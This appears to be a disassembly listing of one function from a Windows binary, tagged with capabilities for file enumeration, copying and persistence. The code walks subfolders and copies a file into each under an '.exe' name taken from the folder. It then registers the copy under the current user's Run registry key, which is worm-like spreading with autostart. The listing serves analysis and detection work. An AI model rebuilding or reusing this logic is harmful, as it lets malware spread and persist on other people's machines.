Function at 0x140007408
Capabilities:
Copy file
Enumerate files on windows
Persist via run registry key
Set registry value

Disassembly:
mov rax, rsp
push rbp
push rdi
push r12
push r14
push r15
lea rbp, [rax - 0x308]
sub rsp, 0x3e0
mov qword [rbp + 0x50], 0xfffffffffffffffe
mov qword [rax + 0x18], rbx
mov qword [rax + 0x20], rsi
mov rax, qword [0x140033410]
xor rax, rsp
mov qword [rbp + 0x2d0], rax
mov rdi, rdx
mov r15, rcx
mov ebx, 7
mov qword [rsp + 0x48], rbx
xor r12d, r12d
mov qword [rsp + 0x40], r12
mov word [rsp + 0x30], r12w
or rsi, 0xffffffffffffffff
cmp word [rdx], r12w
jne 0x14000746f
mov r8d, r12d
jmp 0x14000747c
mov r8, rsi
inc r8
cmp word [rdx + r8*2], r12w
jne 0x140007472
lea rcx, [rsp + 0x30]
call fcn.140003c1c
nop
lea r8, [0x14002d4d4]
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x70]
call fcn.140009d88
cmp qword [rax + 0x18], 8
jb 0x1400074a6
mov rax, qword [rax]
lea rdx, [rbp + 0x80]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov r14, rax
cmp qword [rbp - 0x58], 8
jb 0x1400074c9
mov rcx, qword [rbp - 0x70]
call fcn.14000b084
mov qword [rbp - 0x58], rbx
mov qword [rbp - 0x60], r12
mov word [rbp - 0x70], r12w
cmp qword [rsp + 0x48], 8
jb 0x1400074e8
mov rcx, qword [rsp + 0x30]
call fcn.14000b084
mov qword [rsp + 0x48], rbx
mov qword [rsp + 0x40], r12
mov word [rsp + 0x30], r12w
cmp r14, rsi
je 0x1400077f1
test byte [rbp + 0x80], 0x10
je 0x1400077d0
movzx ecx, word [rbp + 0xac]
movzx eax, word [rbp + 0xae]
cmp cx, word [0x14002d4dc]
jne 0x140007532
cmp ax, word [0x14002d4de]
je 0x1400077d0
cmp cx, word [0x14002d4e0]
jne 0x140007558
cmp ax, word [0x14002d4e2]
jne 0x140007558
movzx eax, word [rbp + 0xb0]
cmp ax, word [0x14002d4e4]
je 0x1400077d0
mov qword [rsp + 0x68], rbx
mov qword [rsp + 0x60], r12
mov word [rsp + 0x50], r12w
cmp word [rdi], r12w
jne 0x140007573
mov r8, r12
jmp 0x140007580
mov r8, rsi
inc r8
cmp word [rdi + r8*2], r12w
jne 0x140007576
mov rdx, rdi
lea rcx, [rsp + 0x50]
call fcn.140003c1c
nop
lea r8, [0x14002d4bc]
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0x10]
call fcn.140009d88
nop
lea r8, [rbp + 0xac]
mov rdx, rax
lea rcx, [rbp + 0x30]
call fcn.140009d88
nop
lea r8, [0x14002d4f8]
mov rdx, rax
lea rcx, [rbp - 0x50]
call fcn.140009d88
nop
lea r8, [rbp + 0xac]
mov rdx, rax
lea rcx, [rbp - 0x30]
call fcn.140009d88
nop
lea r8, str..exe
mov rdx, rax
lea rcx, [rbp + 0x60]
call fcn.140009d88
nop
cmp qword [rbp - 0x18], 8
jb 0x140007604
mov rcx, qword [rbp - 0x30]
call fcn.14000b084
mov qword [rbp - 0x18], rbx
mov qword [rbp - 0x20], r12
mov word [rbp - 0x30], r12w
cmp qword [rbp - 0x38], 8
jb 0x140007621
mov rcx, qword [rbp - 0x50]
call fcn.14000b084
mov qword [rbp - 0x38], rbx
mov qword [rbp - 0x40], r12
mov word [rbp - 0x50], r12w
cmp qword [rbp + 0x48], 8
jb 0x14000763e
mov rcx, qword [rbp + 0x30]
call fcn.14000b084
mov qword [rbp + 0x48], rbx
mov qword [rbp + 0x40], r12
mov word [rbp + 0x30], r12w
cmp qword [rbp + 0x28], 8
jb 0x14000765b
mov rcx, qword [rbp + 0x10]
call fcn.14000b084
mov qword [rbp + 0x28], rbx
mov qword [rbp + 0x20], r12
mov word [rbp + 0x10], r12w
cmp qword [rsp + 0x68], 8
jb 0x14000767a
mov rcx, qword [rsp + 0x50]
call fcn.14000b084
mov qword [rsp + 0x68], rbx
mov qword [rsp + 0x60], r12
mov word [rsp + 0x50], r12w
lea rdx, [rbp + 0x60]
cmp qword [rbp + 0x78], 8
cmovae rdx, qword [rbp + 0x60]
xor r8d, r8d
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x1400077c0
mov qword [rbp - 0x78], rbx
mov qword [rbp - 0x80], r12
mov word [rsp + 0x70], r12w
cmp word [rbp + 0xac], r12w
jne 0x1400076c9
mov r8, r12
jmp 0x1400076dd
lea rax, [rbp + 0xac]
mov r8, rsi
inc r8
cmp word [rax + r8*2], r12w
jne 0x1400076d3
lea rdx, [rbp + 0xac]
lea rcx, [rsp + 0x70]
call fcn.140003c1c
nop
lea r8, [rsp + 0x70]
lea rcx, [rbp - 0x10]
call fcn.140009dd4
mov rbx, rax
lea rsi, [rbp + 0x60]
cmp qword [rbp + 0x78], 8
cmovae rsi, qword [rbp + 0x60]
cmp qword [rax + 0x18], 8
jb 0x140007718
mov rbx, qword [rax]
lea rax, [rbp + 0x58]
mov qword [rsp + 0x20], rax
mov r9d, 0x20006
xor r8d, r8d
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x140007780
or rax, 0xffffffffffffffff
inc rax
cmp word [rsi + rax*2], r12w
jne 0x140007746
lea eax, [rax*2 + 2]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rsi
mov r9d, 1
xor r8d, r8d
mov rdx, rbx
mov rcx, qword [rbp + 0x58]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rbp + 0x58]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp qword [rbp + 8], 8
jb 0x140007790
mov rcx, qword [rbp - 0x10]
call fcn.14000b084
mov ebx, 7
mov qword [rbp + 8], rbx
mov qword [rbp], r12
mov word [rbp - 0x10], r12w
cmp qword [rbp - 0x78], 8
jb 0x1400077b3
mov rcx, qword [rsp + 0x70]
call fcn.14000b084
lea rcx, [rbp + 0x60]
call fcn.1400070ec
or rsi, 0xffffffffffffffff
cmp qword [rbp + 0x78], 8
jb 0x1400077d0
mov rcx, qword [rbp + 0x60]
call fcn.14000b084
lea rdx, [rbp + 0x80]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x140007501
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_FindClose]
mov rcx, qword [rbp + 0x2d0]
xor rcx, rsp
call fcn.14000a720
lea r11, [rsp + 0x3e0]
mov rbx, qword [r11 + 0x40]
mov rsi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rbp
ret